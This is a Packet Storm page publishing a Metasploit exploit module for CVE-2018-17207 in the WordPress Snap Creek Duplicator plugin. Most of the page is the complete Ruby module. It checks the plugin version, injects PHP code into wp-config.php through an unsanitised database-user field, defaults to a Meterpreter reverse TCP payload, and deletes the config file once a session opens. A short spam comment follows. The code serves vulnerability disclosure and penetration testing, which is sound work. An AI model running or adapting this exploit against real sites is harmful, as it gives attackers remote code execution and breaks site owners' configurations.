what you don't know can hurt you

WordPress Snap Creek Duplicator Code Injection

WordPress Snap Creek Duplicator Code Injection
Posted Dec 12, 2018
Authored by Thomas Chauchefoin, Julien Legras | Site metasploit.com

When the WordPress plugin Snap Creek Duplicator restores a backup, it leaves dangerous files in the filesystem such as installer.php and installer-backup.php. These files allow anyone to call a function that overwrite the wp-config.php file AND this function does not sanitize POST parameters before inserting them inside the wp-config.php file, leading to arbitrary PHP code execution. WARNING: This exploit WILL break the wp-config.php file. If possible try to restore backups of the configuration after the exploit to make the WordPress site work again.

tags | exploit, arbitrary, php, code execution
advisories | CVE-2018-17207
MD5 | 3e9bb4227872fd85077a0576d93fc20f

WordPress Snap Creek Duplicator Code Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # this module overwrites the configuration file, breaking the website

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Snap Creek Duplicator WordPress plugin code injection',
'Description' => %q{
When the WordPress plugin Snap Creek Duplicator restores a backup, it
leaves dangerous files in the filesystem such as installer.php and
installer-backup.php. These files allow anyone to call a function that
overwrite the wp-config.php file AND this function does not sanitize
POST parameters before inserting them inside the wp-config.php file,
leading to arbitrary PHP code execution.
WARNING: This exploit WILL break the wp-config.php file. If possible try
to restore backups of the configuration after the exploit to make the
WordPress site work again.
},
'Author' => [
'Julien Legras <julien.legras@synacktiv.com>',
'Thomas Chauchefoin <thomas.chauchefoin@synacktiv.com>'
],
'References' => [
['URL', 'https://www.synacktiv.com/ressources/advisories/WordPress_Duplicator-1.2.40-RCE.pdf'],
['WPVDB', '9123'],
['CVE', '2018-17207']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'DisclosureDate' => 'Aug 29 2018',
'DefaultOptions' =>
{
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress Duplicator <= 1.2.40', {}]],
'DefaultTarget' => 0))

register_options([
OptString.new('TARGETURI', [true, "The TARGETURI where installer.php or installer-backup.php is located", "/installer.php"]),
OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 40]),
])
end

def check
tpath = normalize_uri(datastore['TARGETURI'])

vprint_status("Checking URI #{rhost+tpath}")
response = send_request_cgi({ 'uri' => tpath}, timeout=datastore['TIMEOUT'])

unless response
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless response.code == 200
vprint_error("Server responded with #{response.code}")
return CheckCode::Safe
end

version = response.body.to_s.scan( /version: ([^<]*)</).last.first
if Gem::Version.new(version) <= Gem::Version.new("1.2.40")
return CheckCode::Vulnerable
else
return CheckCode::Detected
end

end

def create_wp_config_file
# 1. GET the installer.php to retrieve the archive name.
response = send_request_cgi({'uri' => normalize_uri(datastore['TARGETURI'])}, timeout=datastore['TIMEOUT'])
unless response && response.code == 200
fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
end
archive_name = response.body.to_s.scan(/value="([^"]*.zip)"/).flatten.first
if archive_name.blank?
fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
end

print_status("Found archive name #{archive_name}")

# 2. Perform the 1st step to actually create the wp-config.php file.
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'action_ajax' => "1",
'action_step' => "1",
'archive_name' => archive_name,
'archive_engine' => "ziparchive",
'exe_safe_mode' => "0",
'archive_filetime' => "current",
'logging' => "1"
}
}, timeout=datastore['TIMEOUT'])
unless response && response.code == 200
fail_with(Failure::Unknown, "The archive file #{archive_name} was probably deleted.")
end

print_status("Successfully created the wp-config.php file!")
end

def exploit
print_status("Checking if the wp-config.php file already exists...")
tpath_wp_config = normalize_uri(datastore['TARGETURI'] + '/../wp-config.php')
response = send_request_cgi({ 'uri' => tpath_wp_config}, timeout=datastore['TIMEOUT'])

if response && response.code == 404 # we have to perform action_step 1 to create the wp-config.php file.
print_status("This WordPress was not restored. Creating the wp-config.php file...")
create_wp_config_file
end

# 2. Exploit the code injection.
print_status("All good! Injecting PHP code in the wp-config.php file...")
response = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'vars_post' => {
'action_ajax' => "3",
'action_step' => "3",
'dbhost' => rand_text_alphanumeric(20),
'dbname' => rand_text_alphanumeric(20),
'dbpass' => rand_text_alphanumeric(20),
'dbuser' => "');?>" + payload.encoded + "/*",
'dbport' => rand_text_numeric(5)
}
}, timeout=datastore['TIMEOUT'])

if response && response.code == 200
print_status("Requesting wp-config.php to execute the payload...")
send_request_cgi({ 'uri' => tpath_wp_config }, timeout=datastore['TIMEOUT'])
else
print_error("Failed to inject PHP code in wp-config.php...")
end
end

def on_new_session(client)
if client.type.eql?('meterpreter')
client.core.use('stdapi') unless client.ext.aliases.include?('stdapi')
client.fs.file.rm('wp-config.php')
else
client.shell_command_token('rm wp-config.php')
end
print_status("Attempting to recreate wp-config file...")
create_wp_config_file
end
end

Comments (1)

RSS Feed Subscribe to this comment feed
portolanding

The vulnerable code in this case isn’t present within the Duplicator plugin directory itself. The flaw becomes exposed when using Duplicator to migrate or restore a backed-up copy of a WordPress site. Nice website. It really helped me a lot. If you want to create the wordpress website with best wordpress theme then visit our website.
portotheme.com/wordpress/porto_lan…

Comment by portolanding
2018-12-13 09:05:25 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

January 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    15 Files
  • 2
    Jan 2nd
    15 Files
  • 3
    Jan 3rd
    11 Files
  • 4
    Jan 4th
    1 Files
  • 5
    Jan 5th
    2 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    24 Files
  • 8
    Jan 8th
    15 Files
  • 9
    Jan 9th
    16 Files
  • 10
    Jan 10th
    23 Files
  • 11
    Jan 11th
    17 Files
  • 12
    Jan 12th
    3 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    18 Files
  • 15
    Jan 15th
    33 Files
  • 16
    Jan 16th
    23 Files
  • 17
    Jan 17th
    13 Files
  • 18
    Jan 18th
    0 Files
  • 19
    Jan 19th
    0 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close